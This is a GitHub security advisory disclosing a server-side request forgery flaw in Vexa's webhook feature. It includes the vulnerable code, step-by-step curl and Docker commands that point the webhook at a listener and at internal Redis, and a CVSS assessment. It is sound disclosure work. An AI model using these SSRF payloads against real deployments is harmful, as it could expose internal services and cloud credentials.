SSRF Vulnerability in Vexa Webhook Feature

Moderate **DmitriyG228** published **GHSA-fhr6-8hff-cvg4** yesterday

Software

vexa

Affected versions

<= 0.10.0-260419-1140

Patched versions

0.10.0-260419-1910

Description

Security Report: SSRF Vulnerability in Vexa Webhook Feature

1. Description

The Vexa webhook feature allows authenticated users to configure an arbitrary URL that receives HTTP POST requests when meetings complete.

The application performs **no validation** on the webhook URL, enabling Server-Side Request Forgery (SSRF).

An authenticated attacker can set their webhook URL to target:

- Internal services (Redis, databases, admin panels)
- Cloud metadata endpoints (AWS/GCP credential theft)
- Localhost services

Vulnerable Code Location:

`services/bot-manager/app/tasks/bot_exit_tasks/send_webhook.py` (lines 47-52)

```
async with httpx.AsyncClient() as client:
    response = await client.post(
        webhook_url,  # User-controlled URL with NO validation
        json=payload,
        timeout=30.0,
        headers={'Content-Type': 'application/json'}
    )
```

---

2. Reproduction Steps

1. Clone and start Vexa:

```
git clone https://github.com/Vexa-ai/vexa.git && cd vexa
cp env-example.cpu .env
git submodule update --init --recursive
docker compose -f docker-compose.yml -f docker-compose.local-db.yml build --parallel
docker compose -f docker-compose.yml -f docker-compose.local-db.yml up -d
```

2. Initialize database:

```
docker compose -f docker-compose.yml -f docker-compose.local-db.yml exec -T \
  transcription-collector python -c \
  "import asyncio; from shared_models.database import init_db; asyncio.run(init_db())"
```

3. Create a test user and get API token:

```
# Create user
curl -s -X POST "http://localhost:8057/admin/users" \
  -H "Content-Type: application/json" \
  -H "X-Admin-API-Key: token" \
  -d '{"email": "test@example.com", "name": "Test User"}'

# Get API token (note the returned token)
curl -s -X POST "http://localhost:8057/admin/users/1/tokens" \
  -H "X-Admin-API-Key: token"
```

4. Start an HTTP listener to catch SSRF requests:

```
python3 -m http.server 9999 &
```

5. Set malicious webhook URL (SSRF payload):

```
# Replace YOUR_TOKEN with the token from step 3
# Replace HOST_IP with your host IP accessible from Docker (e.g., 172.17.0.1)

curl -s -X PUT "http://localhost:8056/user/webhook" \
  -H "Content-Type: application/json" \
  -H "X-API-Key: YOUR_TOKEN" \
  -d '{"webhook_url": "http://HOST_IP:9999/ssrf-test"}'
```

6. Create a test meeting and trigger webhook:

```
# Insert test meeting
docker exec vexa_dev-postgres-1 psql -U postgres -d vexa -c \
  "INSERT INTO meetings (user_id, platform, platform_specific_id, status, data, created_
   VALUES (1, 'google_meet', 'test-meeting', 'active', '{}', NOW(), NOW());"

# Insert meeting session
docker exec vexa_dev-postgres-1 psql -U postgres -d vexa -c \
  "INSERT INTO meeting_sessions (meeting_id, session_uid, session_start_time)
   VALUES (1, 'test-session-123', NOW());"

# Trigger the webhook via bot exit callback
docker run --rm --network vexa_dev_vexa_default curlimages/curl:latest \
  -s -X POST "http://bot-manager:8080/bots/internal/callback/exited" \
  -H "Content-Type: application/json" \
  -d '{"connection_id": "test-session-123", "exit_code": 0, "reason": "meeting_ended"}'
```

7. Verify SSRF:

Check your HTTP listener - you will see:

```
172.19.0.x - - [DATE] "POST /ssrf-test HTTP/1.1" 501 -
```

Check bot-manager logs:

```
docker logs vexa_dev-bot-manager-1 2>&1 | grep webhook
```

Output shows:

```
INFO - Sending webhook to http://HOST_IP:9999/ssrf-test for meeting 1
```

Proof of Internal Service Access

Set webhook to target internal Redis:

```
curl -s -X PUT "http://localhost:8056/user/webhook" \
  -H "Content-Type: application/json" \
  -H "X-API-Key: YOUR_TOKEN" \
  -d '{"webhook_url": "http://redis:6379/"}'
```

Logs will show:

```
INFO - Sending webhook to http://redis:6379/ for meeting X
DEBUG - connect_tcp.started host='redis' port=6379
```

This confirms the server connects to internal services.

---

3. Impact

Exploitable in Real Deployments: Vexa is designed for self-hosted and cloud deployments where SSRF has significant impact (cloud metadata access, internal service compromise)

Clear Security Boundary Violation: The webhook feature allows users to make the server perform HTTP requests on their behalf, violating the trust boundary between user-controlled input and server-side network access

CVSS v3.1 Assessment

Metric	Value	Rationale
Attack Vector	Network	Exploitable via API
Attack Complexity	Low	Simple HTTP request
Privileges Required	Low	Requires valid API token
User Interaction	None	No user action needed
Scope	Changed	Can affect internal services
Confidentiality	Low	Blind SSRF, limited data exfiltration
Integrity	None	Cannot modify data
Availability	None	No denial of service

Estimated CVSS Score: 5.0 (Medium)

Disclosure Policy

This vulnerability is being disclosed under the usual **60-day responsible disclosure policy**.

If a fix is not released and a CVE is not published by the deadline, I reserve the right to publish this report publicly to inform the community.

I am open to extending this timeline if significant progress is being made toward a fix.

Credit Request

In exchange for responsible disclosure, I request:

1. **CVE Credit** - I am listed as the reporter/discoverer in any CVE filing
2. **Acknowledgment** - My name is credited in:
   - The security advisory or release notes
   - The commit message or PR that fixes this issue

My details for CVE/credit:

- **Name:** Ariel Silver
- **GitHub:** SilverPlate3
- **Email:** arielsilver77@gmail.com

Severity

Moderate 5.8 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Changed
Confidentiality	Low
Integrity	None
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CVE ID

CVE-2026-25883

Weaknesses

▶ CWE-918

Credits

 **SilverPlate3** Finder